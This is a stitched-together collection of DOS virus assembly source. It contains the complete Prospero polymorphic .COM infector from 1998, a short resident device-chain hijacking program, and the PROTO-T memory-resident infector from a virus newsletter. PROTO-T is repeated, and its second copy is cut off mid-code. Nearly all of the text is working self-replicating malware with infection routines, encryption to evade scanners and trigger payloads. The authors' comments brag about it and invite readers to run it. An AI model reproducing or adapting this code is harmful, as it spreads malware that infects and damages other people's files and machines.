;There is a path to the trancendece of the dollar: Embark
;rich beggars! Does magic bring prosperos to his knees?
;Reading pretty twilight, making grass uncertain?
;Oh,all that christmas snow shouldered by one birthday suit!
;The fate of the world under his armpit like a thermometer?
;Rejoice Villains! Your time has come.
;**************(C) Opic [CodeBreakers,98]*******************
;EXTRA SPECIAL GREETS AND THANX GO OUT TO:
;DARX_KIES, OWL[FS], DARKMAN, MIKEE, ALL the CodeBreakers and the countless
;others that have helped me learn and progress.
;
;OTHER: it has been awhile since I have looked at this virus, but it has come
;to my attention that it may have a bug in the directory transversal rutine,
;im not particularly interested in working on this virus any further, but
;felt it should be noted for the record (suprisingly it made it to the
;supplimentals on "the wild list").
;------------------------------------------------------------------------
.286
prospero Segment
Assume CS:prospero, DS:prospero, ES:prospero
Org 100H
jumps
start:
mov cx,0ffffh ;loop to kill heuristic scanners
no_av1:
jmp no_av2
mov ax,4c00h
int 21h
no_av2:
loop no_av1
call delta ;call delta
delta: ;duh!
pop bp ;pop bp
sub bp,offset delta ;fer the distanc
Nop ;You need those two nops.
Nop ;
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;----------setup-----------------
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call encrypt ;
jmp c_start ;
value db 0 ;decrypt value
stop: ;label for later
;---------to be polyed------------
encrypt: ;padding
DB 20 Dup(90H)
ret ;=21 for crypt
;--------start of crypt body-------
c_start: ;part to crypt
;------clear infection counter----
mov byte ptr [bp+counter],0
mov cx,3 ;get first 3
mov di,100h ;restore em!
lea si,[bp+buff]
rep movsb
;--------save DTA------------------
lea di,[bp+NewDTA]
mov si,80h ;DTA to save
mov cx,2Ah ;length of DTA 2ah
rep movsb ;save it
;-----------first------------------
find_first: ;find first
mov ah,4eh ;file
find_next: ;we need this lata
lea dx,[bp+filemask] ;what we is lookin fer
int 21h ;now!
jnc verify ;find one? infect
;----------------DT--------------------------
dotdot:
lea dx,[bp+dot] ;get dot from dataseg
mov ah,3Bh ;cd
int 21h ;go!
jnc find_first ;find first in new dir
;------------payload check--------------------
check_payload: ;payload check
mov ah,2ah ;system date
int 21h ;now!
cmp dl,1 ;is it the first?
je n_check ;yes? second check
jmp close
n_check:
mov ah,2Ch ;internal clock
cmp cl,30d ;minutes 30 or above?
jae payload ;yes? lets do it!
jmp close ;no? lets chill
;---------graphic payload-------------------------
payload:
mov ax,13 ;set mode 13h
int 10h ;call bios
mov dx,030ah;dh/dl are the line/column coordinates
xor bh,bh ;on page 0
mov ah,02h ;02h=move cursor to
int 10h ;go
push cs ;
pop ds ;
lea si,[bp+ offset message1];1st message
mov cx,14 ;length
show: ;shows the message
lodsb ;keep goin
mov bl,2 ;color
mov ah,0eh ;write one letter
int 10h ;
loop show ;till we do em all
add dx,507 ;get ready fer #2
mov ah,02h ;put cursor
int 10h ;
lea si,[bp+ offset message2];mess2
mov cx,27 ;length
show2: ;
lodsb ;
mov bl,30 ;color
mov ah,0eh ;
int 10h ;
loop show2 ;
mov ah,01h ;begin of printer sect of payload
mov dx,0h
int 17h ;int for initializing printer
lea si,string1
mov cx,EndStr1-String1
PrintStr:
mov ah,00h
lodsb
int 17h
loop PrintStr
mov ax,4c00h;exit
int 21h ;dos
;---------ret to host-------------
close: ;exit stage left
;---------restore DTA------------------------
lea si,[bp+NewDTA] ;saved DTA
mov di,80h ;area it was
mov cx,2Ah ;length
rep movsb ;write it
push 100h ;start o file
ret ;dar!
;-------start .com checks--------
verify:
mov cx,13d ;max size of file name
mov si,9eh ; !!!!
;---------*.com and not command--------
compare:
lodsb ;find the point!
cmp al,"." ;is it?
jne compare ;no? try again
inc si ;yes? next letter
cmp word ptr [si], "MO" ;does it spell .COM?
je check_for_command_com ;no find next!
jmp close_file
check_for_command_com:
cmp word ptr [bp+9eh+2], "MM" ;is it command.com?
je close_file ;yes? next!
;-------------save attribs-----------------
infect: ;duh!
Mov si,95h ; !!!! get dta
mov cx,09h ;mov it to cx
lea di,[bp+attribs] ;save em
rep movsb ;move em
;-------------clear atrribs----------------
Mov dx,9Eh ;filename in DTA
mov ax,4301h ;so we can infect
xor cx,cx ;all .coms
int 21h ;
mov ax,3d02h ;open file fer read/write
mov dx,9eh ;get info
int 21h ;go!
xchg bx,ax ;put ax in bx
;---------------time/date-----------------------
mov ax,5700h ;get time/date stamp
int 21h ;save em----|
push dx ; <-------|
push cx ; <-------|
;--------------rand xor value--------------------
in al,40h ;new crypt value
mov byte ptr [bp+value],al ;put it place
;--------------first 3-----------------------------
mov ah,3fh ;read 3 bytes from the file.. too
;
mov cx,5 ;be replaced with a jump to the virus
lea dx,[bp+buff] ;load buffer in dx
int 21h ;go!
;------------size check---------------------
mov di,9Ah
cmp word ptr [di],63824 ;size check! no bigger then 63824 bytes
jae close_file ;
;-----------prev infected?----------------------
infect_check:
pusha ; i saved registers since i did not take the time
; to check which registers must be saved
mov ax,4200h ; set r/w pointer to start of file +1
xor cx,cx
mov dx,1
int 21h
mov ah,3fh ; read the jump displacement
mov cx,2
lea dx,opbuf+bp
int 21h
mov ax,opbuf+bp
add ax,3 ; add 3 to jump displacement to get offset
; of marker ':('
mov dx,ax
mov cx,0
mov ax,4200h ; set pointer to marker offset
int 21h
mov ah,3fh ; read 2 bytes again
mov cx,2
lea dx,opbuf+bp
int 21h
popa ; registers popped here
cmp opbuf+bp,'(:' ; check for marker
je close_file ; marker found? close file
jmp short over_opbuf ; otherwise proceed
over_opbuf:
; mov si,9ah ;
; mov ax,word ptr [si] ;infected?
; sub ax,virus_end - start + 3 ;check it?
; cmp ax,word ptr[bp+buff+1] ;compare..
; je close_file ;already infected? outta here!
;----------infect already-------------------
mov si,9ah
mov ax,word ptr[si]
sub ax,3
mov word ptr[bp+three+1],ax
mov ax,4200h ;start of file
xor cx,cx ;clear
xor dx,dx ;cx and dx
int 21h ;now!
;------------write jump----------------------
mov ah,40h ;write the 3 byte jump
lea dx,[bp+three] ;load em
mov cx,3 ;move em
int 21h ;now!
jmp next
close_file: ;
jmp restc ;
;---------write cryptor------------------------------
next: ;
mov ax,4202h ;end of file
xor cx,cx ;clear
xor dx,dx ;em
int 21h ;now!
;---------POLY: cryptor-------------------------------
;pick random cryptor from stock of 7
poly: ;determine 2nd part of cryptor
mov ah,2ah ;get day of week
int 21h ;now
;------find which cryptor to write to infection-----------
or al,al ;is it.....sunday
jz d0 ;
cmp al,001h ;mon
je d1 ;
cmp al,002h ;tue
je d2 ;
cmp al,003h ;wed
jne td4 ;
Jmp d3
td4:
cmp al,004h ;thur
jne td5 ;
Jmp d4
td5:
cmp al,005h ;fri
jne td6 ;
Jmp d5
td6:
Jmp d6
;-------load the cryptor we need--------------------
d0: ;pick and write Zero cryptor
mov al,[bp+value]
mov [bp+value0],al
mov ah,40h
lea dx,[bp+del] ;
mov cx,del1 - del ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt
jmp write
d1: ;pick and write 1st cryptor
mov al,[bp+value]
mov [bp+value1],al
mov ah,40h
lea dx,[bp+del1] ;
mov cx,del2 - del1 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt1
jmp write
d2: ;pick and write 2nd cryptor
mov al,[bp+value]
mov [bp+value2],al
mov ah,40h
lea dx,[bp+del2] ;
mov cx,del3 - del2 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt2
jmp write
d3: ;pick and write 3rd cryptor
mov al,[bp+value]
mov [bp+value3],al
mov ah,40h
lea dx,[bp+del3] ;
mov cx,del4 - del3 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt3
jmp write
d4: ;pick and write 4th cryptor
mov al,[bp+value]
mov [bp+value4],al
mov ah,40h
lea dx,[bp+del4] ;
mov cx,del5 - del4 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt4
jmp write
nope:
jmp close
d5: ;pick and write 5th cryptor
mov al,[bp+value]
mov [bp+value5],al
mov ah,40h
lea dx,[bp+del5] ;
mov cx,del6 - del5 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt5
jmp write
d6:
mov al,[bp+value]
mov [bp+value6],al
mov ah,40h
lea dx,[bp+del6] ;
mov cx,noc - del6 ;
int 21h
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt6
;-------write crypted area--------------------
write:
mov ah,40h ;write encrypted area
lea dx,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
int 21h ;now!
count:
inc byte ptr [bp+counter] ;add one
;-----------restore time/date---------------
restc:
mov ax,5701h ;restore stamps
pop cx ;remember?
pop dx ;we saved these!
int 21h ;
;-------------close--------------------------
mov ah,3eh ;close file
int 21h ;go!
;------------restore attribs-----------------
mov ax,4301h ;set attribs
Mov dx,9Eh ; !!!! name in DTA
xor cx,cx ;clear!
mov cl, byte ptr [bp+attribs] ;attribs in cl
int 21h ;go
cmp byte ptr [bp+counter],7 ;this isnt completly
;accurate due to the
;the fact that it
;counts fails from
;infection checks
;but i kinda like having
;a semi random infection check
ja nope ;and exit
;--------------next and infection check----------
next1:
mov ah,4Fh ;find next file
jmp find_next ;continue!
;-----------our stock of cryptors------------
del:
db ':('
cli ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sti ; 1
sub ax,offset delta+1 ; 3
xchg bp,ax ; 1 =10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt ;
Jmp Del1
Value0 db 0
crypt:
lodsb ;
Push CX
Nop
Mov CL,4
rol al,CL ;
Nop
neg al ;
rol al,CL ;
Nop
Pop CX
stosb ;
Nop
loop crypt ;
ret ;21 !!!
Nop
Nop
;--------------------------------------------
del1:
db ':('
db 0E8h,00,00 ;
sti ;
pop bp ;
xchg bx,ax ;
sub bp,offset delta ;
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt1 ;
Jmp Del2
Value1 db 0
crypt1:
Nop
lodsb ;
Nop
neg al ;
Push CX
Mov CL,4
ror al,CL ;
Pop CX
Nop
neg al ;
Nop
stosb ;
Nop
loop crypt1 ;
ret ;21 !!!
Nop
;------------------------------------------
del2:
db ':('
cld ;
db 0E8h,0,0 ;
pop bp ;
clc ;
sub bp,offset delta+1 ;
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt2 ;
Jmp Del3
Value2 DB 0
crypt2:
Nop
Nop
lodsb ;
not al ;
nop ;
xor al,byte ptr [bp+value] ;
nop ;
not al ;
nop ;
Nop
stosb ;
loop crypt2 ;
Nop
ret ;21 !!!
;---------------------------------------
del3:
db ':('
sti ; 1
nop ; 1
db 0E8h,0,0 ; 3
pop bp ; 1
sub bp,offset delta+2 ; 4=10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt3 ;
Jmp Del4
Value3 db 0
crypt3:
lodsb ;
Push CX
Nop
Nop
Mov CL,4
ror al,cl ;
not al ;
Nop
ror al,cl ;
Nop
Pop CX
stosb ;
loop crypt3 ;
Nop
ret ;21 !!!
Nop
;---------------------------------------
del4:
db ':('
db 0E8h,0,0 ; 3
pop ax ; 1
xchg bx,ax ; 1
xchg bx,ax ; 1
sub ax,offset delta ; 3
xchg bp,ax ; 1
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt4 ;
Jmp Del5
Value4 db 0
crypt4: ;
lodsb ;
Push CX
Mov CL,4
xor al,byte ptr [bp+value] ;
rol al,cl ;
xor al,byte ptr [bp+value] ;
Pop CX
stosb ;
loop crypt4 ;
ret ;21 !!!
;--------------------------------------
del5:
db ':('
db 0E8h,0,0 ; 3
nop ; 1
pop ax ; 1
nop ; 1
sub ax,offset delta ; 3
xchg bp,ax ; 1 ; = 10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt5 ;
Jmp Del6
Value5 db 0
crypt5: ;
Nop
lodsb ;
not al ;
Push CX
Nop
Mov CL,4
ror al,cl ;
Nop
Pop CX
Nop
not al ;
Nop
stosb ;
Nop
loop crypt5 ;
ret ;21 !!!
;--------------------------------------
del6:
db ':('
sti ; 1
clc ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sub ax,offset delta +2 ; 3
xchg bp,ax ; 1=10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt6 ;
Jmp Noc
Value6 db 0
crypt6: ;
lodsb ;
Push CX
Mov CL,4
ror al,CL
Nop
xor al,byte ptr [bp+value]
ror al,CL
Nop
Pop CX
stosb
Nop
loop crypt6
ret
noc: ;21 !!!
;-----------DATA--------------------------
newdta db 2ah dup(?)
filemask db '*.c*',0
three db 0e9h,0,0
buff db 0cdh,20h,0
dot db '..',0
message1 db "Prospero Virus" ;14
message2 db "(C) Opic [CodeBreakers '98]" ;27
counter db 0
attribs db 0h
opbuf dw 0
String1 db '************************PROSPERO!**************************',0dh,0ah
db 'There is a path to the trancendece of the dollar: Embark',0dh,0ah
db 'rich beggars! Does magic bring prosperos to his knees?',0dh,0ah
db 'Reading pretty twilight, making grass uncertain?',0dh,0ah
db 'Oh,all that christmas snow shouldered by one birthday suit!',0dh,0ah
db 'The fate of the world under his armpit like a thermometer?',0dh,0ah
db 'Rejoice Villains! Your time has come.',0dh,0ah
db '**************(C) Opic [CodeBreakers,98]*******************',0Ch
EndStr1:
;--------------------------------------------------------------------------
Virus_End:
prospero Ends
End Start
@@ -0,0 +1,75 @@
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
Main: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb si,si
mov ah,52h ; get internal list of lists
int 21h ; int 21h
lds bx,es:[bx] ; get pointer to first drive
; paramenter block
Search: mov ax,ds:[bx+si+15h] ; get segment of device header
cmp ax,70h ; dos device header ??
jne Next ; no, go to next device
cmp byte ptr ds:[bx],0
je Next
xchg ax,cx
mov di,ds:[bx+si+13h] ; get offset of device header
mov word ptr ds:[bx+si+13h],offset Header
mov ds:[bx+si+15h],cs ; set addres of new device
Next: lds bx,ds:[bx+si+19h] ; next drive parameter block
cmp bx,-1 ; last block ?
jne Search ; no, go to Search
jcxz Error
mov ds,cx
mov si,di
push cs
pop es
mov di,offset Header
cld
movsw
movsw
movsw
mov ax,offset Strategy
stosw
mov ax,offset Interrupt
stosw
push di
mov di,offset Strategy
mov al,0eah
stosb
movsw
mov ax,cx
stosw
mov di,offset Interrupt
mov al,0eah
stosb
movsw
mov ax,cx
stosw
pop di
movsw
mov ax,3100h
mov dx,20h
int 21h
Error: mov ax,4c01h
int 21h
Header db 12 dup(?)
Interrupt db 5 dup(?)
Strategy db 5 dup(?)
code ends
end Main

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,420 @@
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is installed while the virus is in RAM. At start,
;PROTO-T polls the system time. If it is after 4:00 in the
;afternoon, the speaker will issue a hideous ringing noise and the
;hard file will be read very quickly, faking a massive Michelangelo-style
;trashing. The disk will continue to read until the user restores
;control by booting. (I took this slick routine from the first issue
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
;to those surprised by it. Heh.
;
;Files infected with PROTO-T will generally function normally until
;4 in the afternoon, when the virus locks them up until the next
;day by way of the nuisance routines described above. Infected files have
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
;appended to them at the end where the body of the virus is located.
;
;PROTO-T is not currently scanned. However, its modifications are easily
;flagged by a good file integrity checker. For example, Dr. Solomon's
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
;the novice user is left on his own by the Toolkit to determine the cause
;of the changes - a drawback which diminishes the software's value
;considerably, IMHO.
;
;I encourage you to play with PROTO-T by Dumbco. It is a
;well-behaved resident virus, useful in demonstrating the behavior
;of simple resident infectors and how they can "pop-up" suddenly and
;ruin your day. Of course, files infected by PROTO-T are, for all
;intents and purposes, useless for future computing unless you like
;the idea of a resident virus keeping you company and freezing up
;your work late in the afternoon.
;
;Known incompatibilities: PROTO-T will behave weirdly on machines
;using SYMANTEC's NDOS as a command processor. And some caches will
;cause PROTO-T to hang the machine immediately. For best results,
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
;management seems to work fine. (Ain't this somethin': software
;advisories with a virus!)
;
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
;& our European friends Dark Helmet and Peter Venkmann with their very
;complete code archives (in particular, the CIVIL_II template). The
;'scarey ' subroutine was excerpted from "Computer Virus Developments
;Quarterly", Vol. 1., No.1.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
length equ offset last - begin
virus_length equ length / 16d
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
;marker in host
begin:
call virus ;make call to
;push instruction pointer on stack
virus:
mov ah,02Ch ;DOS get time function
int 021h
mov al,ch ;Copy hour into AL
cbw ;Sign-extend AL into AX
cmp ax,0010h ;Did the function return 16 (4 pm)?
jge malfunkshun ;If after 4 pm, do Proto-T thang!
jmp getonwithit
malfunkshun: ;sound and fury start
cli ;turn off interrupts
mov dx,2
agin1: mov bp,40 ;do 40 cycles of sound
mov si,1000 ;1st frequency
mov di,2000 ;2nd frequency
mov al,10110110b ;address of channel 2 mode 3
out 43h,al ;send to port
agin2: mov bx,si ;place sound number in bx
backerx: mov ax,bx ;now put in ax
out 42h,al
mov al,ah
out 42h,al
in al,61h ;get port value
or al,00000011b ;turn speaker on
out 61h,al
mov cx,2EE0h ;delay
looperx: loop looperx ;do nothing loop so sound is audible
xchg di,si
in al,61h ;get port value
and al,11111100b ;AND - turn speaker off
out 61h,al ;send it
dec bp ;decrement repeat count
jnz agin2 ;if not = 0 do again
mov ax,10 ;10 repeats of 60000 loops
back: mov cx,0EA60h ;loop count (in hex for TASM)
loopery: loop loopery ;delay loops - no sound between bursts
dec ax
jnz back ;if not = 0 loop again
dec dx
jnz agin1 ;if not = 0 do whole thing again
sti ;restore interrupts
mov si,0 ;scarey part: drive reads real
scarey: lodsb ;fast ala Michelangelo-style
mov ah,al ;over-write, but this routine only
lodsb ;gets random bytes here for a
and al,3 ;cylinder to READ
mov dl,80h
mov dh,al
mov ch,ah
mov cl,1
mov bx,offset last ;buffer to read into
mov ax,201h
int 13h
jmp short scarey ;yow! scarey! just think if this
;was made by someone not as nice as
;me
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
getonwithit: pop bp ; get IP from stack.
sub bp,109h ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0A0h ;check if virus
int 21h ;already installed.
cmp ax,0001h
je end_virus
adjust_memory: mov ax,cs ;get Memory
dec ax ;Control Block
mov ds,ax
cmp byte ptr ds:[0000],5a ;check if last
;block -
jne abort ;if not last block,
;end
mov ax,ds:[0003] ;decrease memory
sub ax,50 ;by 1kb
mov ds:0003,ax
install_virus: mov bx,ax ;PSP
mov ax,es ;virus start
add ax,bx ;in memory
mov es,ax
mov cx,length ;cx = length virus
mov ax,ds ;restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ;point to start virus
lea di,es:0100 ;point to destination
rep movsb ;copy virus in
;memory
mov [virus_segment+bp],es ;store start of virus
;in memory
mov ax,cs ;restore extra segment
mov es,ax
hook_vector: cli ;disable interrupts
;because we're manipulating
mov ax,3521h ;the interrupt table and a
;crash would look bad
int 21h ;function 3521h - retrieve
mov ds,[virus_segment+bp] ;address of current handler
mov ds:[old_21h-6h],bx
mov ds:[old_21h+2-6h],es
mov dx,offset main_virus - 6h
mov ax,2521h ;copy new address (virus) to
int 21h ;interrupt table
sti ;interrupts on
abort: mov ax,cs ;restore everything
mov ds,ax
mov es,ax
xor ax,ax
end_virus:
mov bx,0100h ;jump to beginning
jmp bx ;of host file
;***************************************************************************
main_virus: pushf
cmp ah,0A0h ;check for virus
jne new_21h ;no virus call
mov ax,0001h ;ax = id
popf ;return id
iret
new_21h: push ds ;save registers
push es
push di
push si
push ax
push bx
push cx
push dx
cmp ah,40h
jne check_05
cmp bx,0004h
jne check_05
check_05: cmp ah,05h
jne check_exec
check_exec: cmp ax,04B00h ;intercept execute function
jne continue
mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
jmp chk_com ;goto check target
continue: pop dx ;restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: cld ;check extension of loaded file
mov di,dx ;for COM
push ds
pop es
mov al,'.' ;search extension
repne scasb ;for 'COM', so
cmp word ptr es:[di],'OC' ;check 'CO'
jne continue ;and
cmp word ptr es:[di+2],'M' ;check 'M'
jne continue
call set_int24h
call set_attribute
open_file: mov ds,cs:[name_seg-6] ;name of target file
mov dx,cs:[name_off-6]
mov ax,3D02h ;open file
call do_int21h ;simulate int21 call, see below
jc close_file
push cs
pop ds
mov [handle-6],ax
mov bx,ax
call get_date
check_infect: push cs
pop ds
mov bx,[handle-6] ;read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,[carrier_begin-6]
call do_int21h
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,[initials-6]
je save_date ;if equal, already
;infected
get_length: mov ax,4200h ;set file pointer to begin
call move_pointer
mov ax,4202h ;set file pointer to end
call move_pointer
sub ax,03h ;ax = file length
mov [length_file-6],ax
call write_jmp
call write_virus ;summon write virus to file
save_date: push cs ;save date of file
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,[handle-6]
mov ah,03eh ;close file
call do_int21h
mov dx,cs:[old_24h-6] ;restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
jmp continue
new_24h: mov al,3 ;critical error handler
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
;since virus owns int21, a
do_int21h: pushf ;direct call would be counter
call dword ptr cs:[old_21h-6];productive, so do a pushf
ret ;and call combination - Dark
;Angel's virus guide is great
write_jmp: push cs ;at expalining this
pop ds
mov ax,4200h ;set pointer to beginning of file
call move_pointer
mov ah,40h
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[length_file-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: push cs
pop ds
mov ax,4202h ;write to file function
call move_pointer
mov ah,40
mov cx,length ;virus length
mov dx,100
call do_int21h ;do it
ret
get_date: mov ax,5700h ;retrieve date function
call do_int21h ;do it
push cs
pop ds
mov [date-6],dx ;restore date & time
mov [time-6],cx
ret
;set up critical error handler
set_int24h: mov ax,3524h ;request address of current handler
call do_int21h ;simulate int21 call
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h ;set vector to virus handler
call do_int21h ;do it
ret
set_attribute: mov ax,4300h ;get attribute
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call do_int21h
and cl,0feh ;set attribute
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
old_21h dw 00h,00h
old_17h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
jump db 0E9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
length_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
last db 090h
code ends
end host
@@ -0,0 +1,420 @@
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is installed while the virus is in RAM. At start,
;PROTO-T polls the system time. If it is after 4:00 in the
;afternoon, the speaker will issue a hideous ringing noise and the
;hard file will be read very quickly, faking a massive Michelangelo-style
;trashing. The disk will continue to read until the user restores
;control by booting. (I took this slick routine from the first issue
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
;to those surprised by it. Heh.
;
;Files infected with PROTO-T will generally function normally until
;4 in the afternoon, when the virus locks them up until the next
;day by way of the nuisance routines described above. Infected files have
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
;appended to them at the end where the body of the virus is located.
;
;PROTO-T is not currently scanned. However, its modifications are easily
;flagged by a good file integrity checker. For example, Dr. Solomon's
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
;the novice user is left on his own by the Toolkit to determine the cause
;of the changes - a drawback which diminishes the software's value
;considerably, IMHO.
;
;I encourage you to play with PROTO-T by Dumbco. It is a
;well-behaved resident virus, useful in demonstrating the behavior
;of simple resident infectors and how they can "pop-up" suddenly and
;ruin your day. Of course, files infected by PROTO-T are, for all
;intents and purposes, useless for future computing unless you like
;the idea of a resident virus keeping you company and freezing up
;your work late in the afternoon.
;
;Known incompatibilities: PROTO-T will behave weirdly on machines
;using SYMANTEC's NDOS as a command processor. And some caches will
;cause PROTO-T to hang the machine immediately. For best results,
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
;management seems to work fine. (Ain't this somethin': software
;advisories with a virus!)
;
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
;& our European friends Dark Helmet and Peter Venkmann with their very
;complete code archives (in particular, the CIVIL_II template). The
;'scarey ' subroutine was excerpted from "Computer Virus Developments
;Quarterly", Vol. 1., No.1.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
length equ offset last - begin
virus_length equ length / 16d
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
;marker in host
begin:
call virus ;make call to
;push instruction pointer on stack
virus:
mov ah,02Ch ;DOS get time function
int 021h
mov al,ch ;Copy hour into AL
cbw ;Sign-extend AL into AX
cmp ax,0010h ;Did the function return 16 (4 pm)?
jge malfunkshun ;If after 4 pm, do Proto-T thang!
jmp getonwithit
malfunkshun: ;sound and fury start
cli ;turn off interrupts
mov dx,2
agin1: mov bp,40 ;do 40 cycles of sound
mov si,1000 ;1st frequency
mov di,2000 ;2nd frequency
mov al,10110110b ;address of channel 2 mode 3
out 43h,al ;send to port
agin2: mov bx,si ;place sound number in bx
backerx: mov ax,bx ;now put in ax
out 42h,al
mov al,ah
out 42h,al
in al,61h ;get port value
or al,00000011b ;turn speaker on
out 61h,al
mov cx,2EE0h ;delay
looperx: loop looperx ;do nothing loop so sound is audible
xchg di,si
in al,61h ;get port value
and al,11111100b ;AND - turn speaker off
out 61h,al ;send it
dec bp ;decrement repeat count
jnz agin2 ;if not = 0 do again
mov ax,10 ;10 repeats of 60000 loops
back: mov cx,0EA60h ;loop count (in hex for TASM)
loopery: loop loopery ;delay loops - no sound between bursts
dec ax
jnz back ;if not = 0 loop again
dec dx
jnz agin1 ;if not = 0 do whole thing again
sti ;restore interrupts
mov si,0 ;scarey part: drive reads real
scarey: lodsb ;fast ala Michelangelo-style
mov ah,al ;over-write, but this routine only
lodsb ;gets random bytes here for a
and al,3 ;cylinder to READ
mov dl,80h
mov dh,al
mov ch,ah
mov cl,1
mov bx,offset last ;buffer to read into
mov ax,201h
int 13h
jmp short scarey ;yow! scarey! just think if this
;was made by someone not as nice as
;me
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
getonwithit: pop bp ; get IP from stack.
sub bp,109h ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0A0h ;check if virus
int 21h ;already installed.
cmp ax,0001h
je end_virus
adjust_memory: mov ax,cs ;get Memory
dec ax ;Control Block
mov ds,ax
